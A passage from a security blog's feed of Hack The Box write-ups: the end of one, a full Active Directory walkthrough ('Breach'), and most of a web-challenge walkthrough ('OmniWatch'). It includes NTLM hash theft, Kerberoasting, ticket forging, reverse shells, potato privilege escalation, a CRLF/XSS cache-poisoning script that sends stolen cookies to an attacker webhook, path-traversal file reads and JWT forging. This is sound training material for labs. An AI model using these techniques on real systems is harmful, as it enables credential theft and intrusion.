<p>We got Administrator Hash Now Let’s outside virtual environment let’s grab Administrator TGT and use it to login or you can directly login without TGT and ccache also</p>
<pre><code class="lang-apache"><span class="hljs-attribute">getTGT</span>.py cicada.vl/Administrator -hashes :hash
<span class="hljs-attribute">export</span> KRB<span class="hljs-number">5</span>CCNAME=Administrator.ccache
<span class="hljs-attribute">impacket</span>-psexec cicada.vl/administrator@DC-JPQ<span class="hljs-number">225</span>.cicada.vl -k -hashes :hash
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766657080662/0b7bbfd8-4f32-4911-b9a4-a8e892d20a9d.png" alt class="image--center mx-auto" /></p>
<p>And We got the system shell Now Let’s Get our flags</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766657164576/bb074474-cbe6-4aa5-ace0-75f3d9e3717c.png" alt /></p>
<p>Here We Go !!</p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766657287395/c1e5db0b-a0f2-4f23-9204-3c4468592cf9.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Breach]]></title><description><![CDATA[OVERVIEW


So we are given the machine IP and told that the user flag is in C:\share\transfer . Let’s scan the machine for open ports and services using Nmap

ENUMERATION

So As you can see many ports are open and we also got the Domain Name and Doma...]]></description><link>https://blog.reapsec.com/breach-htb</link><guid isPermaLink="true">https://blog.reapsec.com/breach-htb</guid><category><![CDATA[breach htb]]></category><category><![CDATA[breach]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[vulnlab]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[#walkthrough]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Wed, 24 Dec 2025 06:09:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1766544445873/a11d3725-f96e-482d-b2b0-e0bedd34d548.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766545042428/b6adff6c-840d-4000-a9be-d4064813b105.png" alt class="image--center mx-auto" /></p>
<p>So we are given the machine IP and told that the user flag is in C:\share\transfer . Let’s scan the machine for open ports and services using Nmap</p>
<hr />
<h2 id="heading-enumeration">ENUMERATION</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766545318947/bfb98bd1-aae9-446d-b02a-8660d3a3a93b.png" alt /></p>
<p>So As you can see many ports are open and we also got the Domain Name and Domain Controller also so update this information in <strong><mark>/etc/hosts</mark></strong></p>
<p>Let’s first check SMB shares:</p>
<p>Since we have not gotten the username and password we will try with <strong>Guest/Anonymous</strong> Login<br />I am using <strong>smbmap</strong> you can use <strong>netexec</strong> also</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766545779383/2a02e85f-33a6-4acd-8753-8c727a5b51df.png" alt class="image--center mx-auto" /></p>
<p>We found 3 <strong>shares</strong> in which we have <strong>Read Access</strong> to Two shares and <strong>READ,WRITE</strong> access to one share.</p>
<p>Lets check out share using <strong>smbclient</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766546435706/fab03cfe-b3a5-43d2-9e2c-5f55409db79c.png" alt class="image--center mx-auto" /></p>
<p>On accessing share we found three directories in which two are empty and when we go to the <strong>transfer</strong> directories then there are 3 more user directories whose listing file permission is denied .</p>
<p><strong>Since we have Read and Write access on share we can steal NTLM creds by uploading the file in the share using smbclient</strong></p>
<hr />
<h2 id="heading-getting-ntlm-hash">GETTING NTLM HASH</h2>
<p>For this I am using <a target="_blank" href="https://github.com/Greenwolf/ntlm_theft.git"><strong>ntlm _theft</strong></a> tool to generate the files.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766547149982/9ef6671b-ec3e-4371-bc99-4d0c222d7d5f.png" alt class="image--center mx-auto" /></p>
<p>So we will use the icon file and move it to the directory where you will use smbclient from do change the icon file name to <strong>shell.url</strong> for readability.</p>
<p>First Turn On The Responder on another terminal using</p>
<pre><code class="lang-apache"><span class="hljs-attribute">sudo</span> responder -I tun<span class="hljs-number">0</span> -wdv
</code></pre>
<p>Now Login to Smbclient again and go to transfer directory and put the shell.url inside it and wait for 2 minutes and you will get the NTLM hash of <strong>Julia.Wong</strong> user</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766548227048/100b01f3-66a3-41f8-b0b5-1995fa2dae66.png" alt class="image--center mx-auto" /></p>
<p>Now save the hash in the hash.txt and use John The Ripper to crack the hash to get the password using rockyou.txt wordlist.</p>
<p>Now check if its valid or not using netexec</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766548540833/97478b07-f9ba-454b-92e0-9dc7958ff737.png" alt class="image--center mx-auto" /></p>
<p>It is valid</p>
<hr />
<h2 id="heading-user-flag">USER FLAG</h2>
<p><strong>Now you can get your user.txt from the C:\share\transfer using smbclient and logined as Julia.Wong</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766552468445/635846fe-a0e9-4232-b715-b8e0c7bbac4b.png" alt class="image--center mx-auto" /></p>
<hr />
<h2 id="heading-exploitation">EXPLOITATION</h2>
<p>Now As we got a valid user password so we can run <strong>Bloodhound</strong> to visualize relationships between the users, OU, groups etc</p>
<pre><code class="lang-apache"><span class="hljs-attribute">bloodhound</span>-python -u 'julia.wong' -p 'JULIA-PASS' -d breach.vl -ns <span class="hljs-number">10.129.13.42</span> -c <span class="hljs-literal">ALL</span> --zip
</code></pre>
<p>Now While doing enumeration in Bloodhound we find that there is one other kerberoastable account beside krbtgt which is <strong>svc_mssql</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766549302870/a83a9f77-8335-4681-9896-5177cd88386f.png" alt class="image--center mx-auto" /></p>
<p>While Seeing The Node Info of svc_mssql we find that its Admin Count=False which means we can create its ticket to impersonate high privileged user but first let’s find its password .</p>
<p>Since it is a Kerberoastable account we can use <a target="_blank" href="https://github.com/Pennyw0rth/NetExec"><strong>NetExec</strong></a> to get its hash and then crack it <strong>OR</strong> you can use Impacket-GetUserSPNs query.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766550192693/780b9aae-4f5c-44c7-b738-11b082b55d33.png" alt class="image--center mx-auto" /></p>
<p>Crack the hash using John The Ripper and get the password for <strong>svc_mssql</strong> and now verify it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766550694970/3a628f18-3e37-41aa-8b9a-302986104783.png" alt class="image--center mx-auto" /></p>
<p>Now we got the password for svc_mssql let’s move on to the impersonation of high privileged user using ticketer.py of Impacket</p>
<pre><code class="lang-apache"><span class="hljs-attribute">ticketer</span>.py -user svc_mssql -nthash NT-HASH -domain breach.vl -domain-sid DOMAIN-SID -spn SPN administrator
</code></pre>
<p>Replace NT-HASH by the hash which you will get by converting the svc_mssql password using this website<br /><a target="_blank" href="https://hashes.com/en/generate/hash">https://hashes.com/en/generate/hash</a></p>
<p>Replace DOMAIN-SID and SPN from the Bloodhound svc_mssql node info.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766551608109/f66cb687-593c-4e2d-b4be-6a2f8a42358f.png" alt /></p>
<pre><code class="lang-apache"><span class="hljs-attribute">export</span> KRB<span class="hljs-number">5</span>CCNAME=administrator.ccache
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766552114805/a5a5e88a-ea6c-4a98-9fbe-c079f7f4d066.png" alt class="image--center mx-auto" /></p>
<p><strong>Now we can enable xp cmdshell and use it to execute a reverse shell to get shell as breach\svc_mssql</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">enable_xp_cmdshell</span>

<span class="hljs-attribute">xp_cmdshell</span> powershell-base<span class="hljs-number">64</span>-rev-shell-payload
</code></pre>
<p>Use the reverse shell payload from <a target="_blank" href="https://www.revshells.com/">https://www.revshells.com/</a> and start the listener</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766553309893/f9609f7a-2f72-4509-be53-4d3ee76727f4.png" alt /></p>
<hr />
<h2 id="heading-privilege-escalation-root-flag">PRIVILEGE ESCALATION / ROOT FLAG</h2>
<p>Lets see what privileges the user got</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766553608010/30bf0f12-e7ea-4a12-bb76-17ffc019f5c6.png" alt class="image--center mx-auto" /></p>
<p>As you can see we have <strong>SeImpersonatePrivilege Enabled</strong><br />So we can use <a target="_blank" href="https://github.com/BeichenDream/GodPotato/releases"><strong>GodPotato</strong></a> and <a target="_blank" href="https://github.com/CCob/SweetPotato"><strong>SweetPotato</strong></a></p>
<p>Use python server using</p>
<pre><code class="lang-apache"><span class="hljs-attribute">python3</span> -m http.server <span class="hljs-number">8000</span>
</code></pre>
<p>Now Import it into the shell using iwr in <strong>C:\Users\svc_mssql\Documents</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">iwr</span> http://YOUR-IP:PORT/GodPotato-NET<span class="hljs-number">4</span>.exe -OutFile GodPotato-NET<span class="hljs-number">4</span>.exe
</code></pre>
<p>Now run</p>
<pre><code class="lang-apache">.\<span class="hljs-attribute">GodPotato</span>-NET<span class="hljs-number">4</span>.exe -cmd 'powershell-revshell-base<span class="hljs-number">64</span>-cmd'               #be sure to change the port
</code></pre>
<p>Now See In your Listener you will get the shell as NT Authority\system and then get the root flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766556257327/8ab5a14c-d5c6-4121-9393-b1476fdb9862.png" alt /></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1766556425422/13071950-ab24-4d07-9a9e-662b2c9e661d.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[OmniWatch]]></title><description><![CDATA[OVERVIEW


So we have given Some Files To Download and Instance . So Let’s start the instance and also view the source code or the data we are given
So In the website we can see there is a authentication/login feature

So Since we don’t have Username...]]></description><link>https://blog.reapsec.com/omniwatch-htb</link><guid isPermaLink="true">https://blog.reapsec.com/omniwatch-htb</guid><category><![CDATA[Omniwatch]]></category><category><![CDATA[Omniwatch htb]]></category><category><![CDATA[Web challenge hack the box]]></category><category><![CDATA[Omniwatch hack the box writeup]]></category><category><![CDATA[Omniwatch htb walkthrough]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[#walkthrough]]></category><category><![CDATA[reapsec]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Sun, 19 Oct 2025 16:20:55 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1760857053621/a6a17022-d93e-44c4-9046-d117f93c931a.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760857154644/8d9700db-bffe-471a-ad1e-66aab6d8d64c.png" alt class="image--center mx-auto" /></p>
<p>So we have given Some Files To Download and Instance . So Let’s start the instance and also view the source code or the data we are given</p>
<p>So In the website we can see there is a authentication/login feature</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760857319611/891f4c03-7116-4c6a-8c4e-763b8e885a99.png" alt /></p>
<p>So Since we don’t have Username and Password So let’s check the files we had downloaded</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760863438436/e47fecdb-83a5-4cd9-99dd-d47a12fc7140.png" alt="Overview Of The Downloaded Files" class="image--center mx-auto" /></p>
<p>We have a web app consisting of 2 services, one written in <strong>Zig</strong> using the <strong>http.zig</strong> framework and one written in Python using the <strong>Flask framework.</strong></p>
<p>They both sit behind a varnish cache, and a MySQL database is used for storing data. The oracle service is used for fetching location by providing the id of a device.</p>
<p>The controller service requires authentication and is used to browse tracking device data as well as browsing firmware updates.</p>
<h2 id="heading-crlf-injection-in-httpzig">CRLF injection in http.zig</h2>
<p>Let's have a closer look on the oracle function of the <strong>main.zig</strong> service</p>
<pre><code class="lang-apache"><span class="hljs-attribute">fn</span> oracle(req: *httpz.Request, res: *httpz.Response) !void {
    <span class="hljs-attribute">var</span> gpa = std.heap.GeneralPurposeAllocator(.{}){};
    <span class="hljs-attribute">const</span> allocator = gpa.allocator();

    <span class="hljs-attribute">const</span> deviceId = req.param(<span class="hljs-string">"deviceId"</span>).?;
    <span class="hljs-attribute">const</span> mode = req.param(<span class="hljs-string">"mode"</span>).?;
    <span class="hljs-attribute">const</span> decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId);
    <span class="hljs-attribute">const</span> decodedMode = try std.Uri.unescapeString(allocator, mode);

    <span class="hljs-attribute">const</span> latitude = try randomCoordinates();
    <span class="hljs-attribute">const</span> longtitude = try randomCoordinates();

    <span class="hljs-attribute">res</span>.header(<span class="hljs-string">"X-Content-Type-Options"</span>, <span class="hljs-string">"nosniff"</span>);
    <span class="hljs-attribute">res</span>.header(<span class="hljs-string">"X-XSS-Protection"</span>, <span class="hljs-string">"1; mode=block"</span>);
    <span class="hljs-attribute">res</span>.header(<span class="hljs-string">"DeviceId"</span>, decodedDeviceId);

    <span class="hljs-attribute">if</span> (std.mem.eql(u<span class="hljs-number">8</span>, decodedMode, <span class="hljs-string">"json"</span>)) {
        <span class="hljs-attribute">try</span> res.json(.{ .lat = latitude, .lon = longtitude }, .{});
    } <span class="hljs-attribute">else</span> {
        <span class="hljs-attribute">const</span> htmlTemplate =
            \\<span class="hljs-section">&lt;!DOCTYPE html&gt;</span>
            \\<span class="hljs-section">&lt;html&gt;</span>
            \\    <span class="hljs-section">&lt;head&gt;</span>
            \\        <span class="hljs-section">&lt;title&gt;</span><span class="hljs-attribute">Device</span> Oracle API v<span class="hljs-number">2</span>.<span class="hljs-number">6</span>&lt;/title&gt;
            \\    <span class="hljs-section">&lt;/head&gt;</span>
            \\<span class="hljs-section">&lt;body&gt;</span>
            \\    <span class="hljs-section">&lt;p&gt;</span><span class="hljs-attribute">Mode</span>: {s}&lt;/p&gt;&lt;p&gt;Lat: {s}&lt;/p&gt;&lt;p&gt;Lon: {s}&lt;/p&gt;
            \\<span class="hljs-section">&lt;/body&gt;</span>
            \\<span class="hljs-section">&lt;/html&gt;</span>
        ;

        <span class="hljs-attribute">res</span>.body = try std.fmt.allocPrint(res.arena, htmlTemplate, .{ decodedMode, latitude, longtitude });
    }
}
</code></pre>
<p>The <code>deviceId</code> and <code>mode</code> variables are URL-decoded and stored into two variables (<code>decodedDeviceId</code>, <code>decodedMode</code>).</p>
<p>If <code>decodedMode</code> is equal to <code>json</code>, a JSON response with the random coordinates is returned.</p>
<p>Else an HTML string is created containing <code>decodedMode</code> and the random coordinates. This looks like a possible XSS vector but because the <code>X-Content-Type-Options</code> header is set to <code>nosniff</code> and no <code>Content-Type</code> header is set the browser does not "sniff" the content type or render this response as HTML.</p>
<p>By searching the issues of the <strong>http.zig</strong> library we find a <a target="_blank" href="https://github.com/karlseguin/http.zig/issues/25"><strong>closed issue</strong></a> explaining a CRLF injection bug. All route parameters are vulnerable to CRLF injection, so we can use this to inject arbitrary headers like the Content-Type header we needed to cause XSS.</p>
<p>Even though this was patched we can deduct that our app since is vulnerable it's using a static version of http.zig without importing it with the help of any package manager, and if we check the signatures of the files at challenge/oracle/modules we will see they match the ones before the patch commits were made on GitHub.</p>
<p>So Let’s Try XSS with the URL encoded payloads on /oracle/</p>
<pre><code class="lang-apache"><span class="hljs-attribute">http</span>://<span class="hljs-number">94.237.57.1:52049</span>/oracle/%<span class="hljs-number">3</span>Cscript%<span class="hljs-number">3</span>Ealert%<span class="hljs-number">280</span>%<span class="hljs-number">29</span>%<span class="hljs-number">3</span>C%<span class="hljs-number">2</span>Fscript%<span class="hljs-number">3</span>E/<span class="hljs-number">1</span>%<span class="hljs-number">0</span>D%<span class="hljs-number">0</span>AContent-Type%<span class="hljs-number">3</span>A%<span class="hljs-number">20</span>text%<span class="hljs-number">2</span>Fhtml
</code></pre>
<p>Basically the URL decoded payloads are</p>
<pre><code class="lang-apache">/<span class="hljs-attribute">oracle</span>/&lt;script&gt;alert(<span class="hljs-number">0</span>)&lt;/script&gt;/<span class="hljs-number">1</span>\r\nContent-Type: text/html
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760865069649/0eccee21-09bc-4468-84f3-cf3b615d04a1.png" alt class="image--center mx-auto" /></p>
<p>Got the XSS payload working which means it is a successful CRLF Injection attack</p>
<h2 id="heading-varnish-cache-poisoning">Varnish Cache Poisoning</h2>
<p>Great now we can cause XSS, but how can we weaponize that? Let's have a closer look at <strong>config/cache.vcl</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">sub</span> vcl_backend_response {
    <span class="hljs-attribute">if</span> (beresp.http.CacheKey == <span class="hljs-string">"enable"</span>) {
        <span class="hljs-attribute">set</span> beresp.ttl = <span class="hljs-number">10</span>s;
        <span class="hljs-attribute">set</span> beresp.http.Cache-Control = <span class="hljs-string">"public, max-age=10"</span>;
    } <span class="hljs-attribute">else</span> {
        <span class="hljs-attribute">set</span> beresp.ttl = <span class="hljs-number">0</span>s;
        <span class="hljs-attribute">set</span> beresp.http.Cache-Control = <span class="hljs-string">"public, max-age=0"</span>;
    }
 }
</code></pre>
<p>At the CacheKey header is checked for the value <strong>vcl_backend_response</strong> subroutine, which is used to forward the response from the backed to the client, the enabled . If this header is sent from the backend the response is cached for 10 seconds.</p>
<pre><code class="lang-apache"> <span class="hljs-attribute">sub</span> vcl_hash {
    <span class="hljs-attribute">hash_data</span>(req.http.CacheKey);
    <span class="hljs-attribute">return</span> (lookup);
 }
</code></pre>
<p>The In this instance only the <strong>vcl_hash</strong> is used to join the components of which varnish creates the hash that identifies clients.<br />CacheKey header is used for this, we can abuse this to cause cache poisoning since we can inject arbitrary headers.</p>
<p>If we inject the arbitrary <strong>Content-Type or X-Content-Type-Options</strong> header alongside the enabled header and the XSS payload in the <strong>CacheKey = mode parameter</strong> varnish will cache the malicious response for 10 seconds, so after this any user visiting that endpoint will receive the cached response, this happens because headers by themselves are not supposed to be used as <strong>hash_data</strong></p>
<p><strong>So, we can now cause the cache poisoning + XSS</strong></p>
<h2 id="heading-race-condition-in-the-chromium-bot">Race Condition In The Chromium Bot</h2>
<p>We can try and use what we found to attack the bot that runs every 0.5 minutes but this does not work. If we poison the cache with the following payload:</p>
<pre><code class="lang-apache"><span class="hljs-section">&lt;script&gt;</span><span class="hljs-attribute">fetch</span>(<span class="hljs-string">"http://my-server.com/exfiltrate?cookies="</span>+document.cookie)&lt;/script&gt;
</code></pre>
<p>We receive a request with no cookies provided because in bot’s code</p>
<pre><code class="lang-apache"><span class="hljs-attribute">client</span>.get(<span class="hljs-string">"http://127.0.0.1:1337/controller/login"</span>)
 <span class="hljs-attribute">time</span>.sleep(<span class="hljs-number">3</span>)

 <span class="hljs-attribute">client</span>.find_element(By.ID, <span class="hljs-string">"username"</span>).send_keys(config[<span class="hljs-string">"MODERATOR_USER"</span>])
 <span class="hljs-attribute">client</span>.find_element(By.ID, <span class="hljs-string">"password"</span>).send_keys(config[<span class="hljs-string">"MODERATOR_PASSWORD"</span>])
 <span class="hljs-attribute">client</span>.execute_script(<span class="hljs-string">"document.getElementById('login-btn').click()"</span>)
 <span class="hljs-attribute">time</span>.sleep(<span class="hljs-number">3</span>)

 <span class="hljs-attribute">client</span>.get(f<span class="hljs-string">"http://127.0.0.1:1337/oracle/json/{str(random.randint(1, 15))}"</span>)
 <span class="hljs-attribute">time</span>.sleep(<span class="hljs-number">10</span>)
</code></pre>
<p>Here we can see that the bot first visits the login page, waits 3 seconds, logs in using the credentials, waits another 3 seconds and then visits a random device on the oracle service.</p>
<p>So if we poison the cache before the user logs in there are no cookies to steal yet, and because the bot gets our cached response there are no inputs and buttons to interact with so the login step fails completely. We have to time the poisoning of the cache accurately after the login step but not after the bot visits the oracle.</p>
<p>Thankfully there is the <strong>/controller/bot_running</strong> endpoint which gives us the status of the bot, so we can estimate to poison the cache about 3 seconds after the bot has started.</p>
<p>So use the below script to get the moderator JWT token</p>
<pre><code class="lang-apache"><span class="hljs-attribute">import</span> requests
<span class="hljs-attribute">import</span> urllib.parse
<span class="hljs-attribute">import</span> time
<span class="hljs-attribute">import</span> multiprocessing
<span class="hljs-attribute">from</span> flask import Flask, request

<span class="hljs-comment"># Configuration</span>
<span class="hljs-attribute">CHALLENGE_URL</span> = <span class="hljs-string">"http://xx.xx.xx.xx:xxxx"</span>
<span class="hljs-attribute">EXFIL_URL</span> = <span class="hljs-string">"YOUR_WEBHOOK_PUBLIC_LINK"</span>  # Webhoook 

<span class="hljs-attribute">def</span> start_server():
    <span class="hljs-attribute">app</span> = Flask(__name__)

    @<span class="hljs-attribute">app</span>.route(<span class="hljs-string">"/exfiltrate"</span>, methods=[<span class="hljs-string">"GET"</span>])
    <span class="hljs-attribute">def</span> index():
        <span class="hljs-attribute">cookies</span> = request.args.get(<span class="hljs-string">"cookies"</span>, <span class="hljs-string">"No cookies received"</span>)
        <span class="hljs-attribute">print</span>(<span class="hljs-string">"Leaked cookies:"</span>, cookies)
        <span class="hljs-comment"># Save cookies to a file for persistence</span>
        <span class="hljs-attribute">with</span> open(<span class="hljs-string">"exfiltrated_cookies.txt"</span>, <span class="hljs-string">"a"</span>) as f:
            <span class="hljs-attribute">f</span>.write(f<span class="hljs-string">"{time.strftime('%Y-%m-%d %H:%M:%S')} - {cookies}\n"</span>)
        <span class="hljs-attribute">return</span> <span class="hljs-string">"ok"</span>, <span class="hljs-number">200</span>

    <span class="hljs-attribute">app</span>.run(host=EXFIL_URL, debug=False)

<span class="hljs-attribute">def</span> url_encode(string):
    <span class="hljs-attribute">return</span> urllib.parse.quote(string, safe=<span class="hljs-string">""</span>)

<span class="hljs-attribute">def</span> check_bot():
    <span class="hljs-attribute">try</span>:
        <span class="hljs-attribute">resp</span> = requests.get(f<span class="hljs-string">"{CHALLENGE_URL}/controller/bot_running"</span>, timeout=<span class="hljs-number">5</span>)
        <span class="hljs-attribute">print</span>(f<span class="hljs-string">"Bot check status: {resp.text}"</span>)
        <span class="hljs-attribute">return</span> resp.text == <span class="hljs-string">"running"</span>
    <span class="hljs-attribute">except</span> requests.RequestException as e:
        <span class="hljs-attribute">print</span>(f<span class="hljs-string">"Error checking bot: {e}"</span>)
        <span class="hljs-attribute">return</span> False

<span class="hljs-attribute">def</span> poison_cache():
    <span class="hljs-attribute">if</span> not check_bot():
        <span class="hljs-attribute">print</span>(<span class="hljs-string">"Bot not running, skipping cache poison attempt"</span>)
        <span class="hljs-attribute">return</span> False
    <span class="hljs-attribute">time</span>.sleep(<span class="hljs-number">3</span>)

    <span class="hljs-attribute">xss</span> = f<span class="hljs-string">"&lt;script&gt;fetch('{EXFIL_URL}/exfiltrate?cookies='+document.cookie)&lt;/script&gt;"</span>
    <span class="hljs-attribute">encoded_xss</span> = url_encode(xss)
    <span class="hljs-attribute">injected_headers</span> = <span class="hljs-string">"\r\nCacheKey: enable\r\nX-Content-Type-Options: undefined"</span>
    <span class="hljs-attribute">encoded_headers</span> = url_encode(injected_headers)

    <span class="hljs-attribute">try</span>:
        <span class="hljs-attribute">final_url</span> = f<span class="hljs-string">"{CHALLENGE_URL}/oracle/{encoded_xss}/1{encoded_headers}"</span>
        <span class="hljs-attribute">print</span>(f<span class="hljs-string">"Sending request to: {final_url}"</span>)
        <span class="hljs-attribute">response</span> = requests.get(final_url, timeout=<span class="hljs-number">5</span>)
        <span class="hljs-attribute">print</span>(f<span class="hljs-string">"Status Code: {response.status_code}"</span>)
        <span class="hljs-attribute">print</span>(f<span class="hljs-string">"Response: {response.text[:500]}"</span>)  # Truncate for readability
        <span class="hljs-attribute">return</span> True
    <span class="hljs-attribute">except</span> requests.RequestException as e:
        <span class="hljs-attribute">print</span>(f<span class="hljs-string">"Error in poison_cache: {e}"</span>)
        <span class="hljs-attribute">return</span> False

<span class="hljs-attribute">def</span> poison_loop():
    <span class="hljs-attribute">while</span> True:
        <span class="hljs-attribute">poison_cache</span>()
        <span class="hljs-attribute">time</span>.sleep(<span class="hljs-number">1</span>)

<span class="hljs-attribute">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    <span class="hljs-attribute">server</span> = multiprocessing.Process(target=start_server)
    <span class="hljs-attribute">poison</span> = multiprocessing.Process(target=poison_loop)
    <span class="hljs-attribute">server</span>.start()
    <span class="hljs-attribute">poison</span>.start()
</code></pre>
<p>In CHALLENGE_URL use the challenge URL given and for webhook link you can go to <a target="_blank" href="https://webhook.site/"><strong>webhook.site</strong></a><br /><em>(Use VPN if your site is not opening)</em></p>
<p>then run this python code and wait for the bot to <strong>poison the cache</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760866222627/6f2a33df-33d7-445a-ae98-5d7fd9af8539.png" alt class="image--center mx-auto" /></p>
<p>Here we go Now go to your webhook.site again to see the request</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760866354116/80bfa6a0-8bdf-41d7-9335-90eb6ea506e7.png" alt class="image--center mx-auto" /></p>
<p>We got our cookie , Now Copy paste this cookie in the cookies of website and access <strong>/controller/admin</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760866481866/c2c28ba8-f966-45fc-a159-47ff023e54cc.png" alt class="image--center mx-auto" /></p>
<p>We successfully got entered in Admin Dashboard Now Let’s check other things out like <strong>Firmware</strong> etc</p>
<p>So Navigating to <strong>/controller/firmware</strong> reveals to us a firmware update page. There are two selections of firmware files we can preview.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760866603238/ad486054-a03a-42b9-a198-ea4408b18c60.png" alt class="image--center mx-auto" /></p>
<p>On seeing the firmware section in routes.py</p>
<pre><code class="lang-apache">@<span class="hljs-attribute">web</span>.route(<span class="hljs-string">"/firmware"</span>, methods=[<span class="hljs-string">"GET"</span>, <span class="hljs-string">"POST"</span>])
@<span class="hljs-attribute">moderator_middleware</span>
<span class="hljs-attribute">def</span> firmware():
    <span class="hljs-attribute">if</span> request.method == <span class="hljs-string">"GET"</span>:
        <span class="hljs-attribute">patches_avaliable</span> =<span class="hljs-meta"> ["CyberSpecter_v1.5_config.json", "StealthPatch_v2.0_config.json"]</span>
        <span class="hljs-attribute">return</span> render_template(<span class="hljs-string">"firmware.html"</span>, user_data=request.user_data, nav_enabled=True, title=<span class="hljs-string">"OmniWatch - Firmware"</span>, patches=patches_avaliable)

    <span class="hljs-attribute">if</span> request.method == <span class="hljs-string">"POST"</span>:
        <span class="hljs-attribute">patch</span> = request.form.get(<span class="hljs-string">"patch"</span>)

        <span class="hljs-attribute">if</span> not patch:
            <span class="hljs-attribute">return</span> response(<span class="hljs-string">"Missing parameters"</span>), <span class="hljs-number">400</span>

        <span class="hljs-attribute">file_data</span> = open(os.path.join(os.getcwd(), <span class="hljs-string">"application"</span>, <span class="hljs-string">"firmware"</span>, patch)).read()
        <span class="hljs-attribute">return</span> file_data, <span class="hljs-number">200</span>
</code></pre>
<p>We notice that the file to preview is provided as a post parameter coming from the front-end. The Python <strong>os.path.join</strong> method is used to build the absolute path of the file to be read.</p>
<p>This is vulnerable to LFI since removes the <a target="_blank" href="https://book.hacktricks.xyz/pentesting-web/file-inclusion#python-root-element"><strong>first section of the path if the later one is an absolute path</strong></a></p>
<p>Let’s capture the preview firmware request inside <strong>Burpsuite</strong> to apply the LFI<br /><em>(Don’t mind the host IP as Mine Instance got closed so I started it again and got new IP)</em></p>
<p>So change the <strong>patch = /app/jwt_secret.txt</strong> we got from <strong>challenge/controller/application/util/config.py</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1760887540503/0ca8a743-8d73-4812-aec2-02c07af8ad9f.png" alt class="image--center mx-auto" /></p>
<p>And by this we got our <strong>jwt_secret</strong> by which we could create new jwt token</p>
<p>Now head to <a target="_blank" href="https://onecompiler.com/python/42ac9tv9g"><strong>online python jwt compiler</strong></a> to make new jwt with the below script</p>
<pre><code class="lang-apache"><span class="hljs-attribute">import</span> jwt
<span class="hljs-attribute">payload</span> = {
 "<span class="hljs-attribute">user_id</span><span class="hljs-string">": 1,
 "</span>username<span class="hljs-string">": "</span>reapsec<span class="hljs-string">", #name of your choice
 "</span>account_type<span class="hljs-string">": "</span>administrator<span class="hljs-string">"
 }
secret="</span>YOUR_SECRET<span class="hljs-string">"  #add your own
print(jwt.encode(payload, secret, algorithm="</span>HS<span class="hljs-number">256</span><span class="hljs-string">"))</span>
</code></pre>
<p>And you will get your new jwt token</p>
<p>Remember the authentication middleware implements tamper protection so even if we generate a new JWT using the leaked secret we still won't be able to log in.<br />The only way this can be bypassed is if we could insert our own signature in the database.</p>
<h2 id="heading-sqli-to-insert-arbitrary-signatures">SQLi To Insert Arbitrary Signatures</h2>
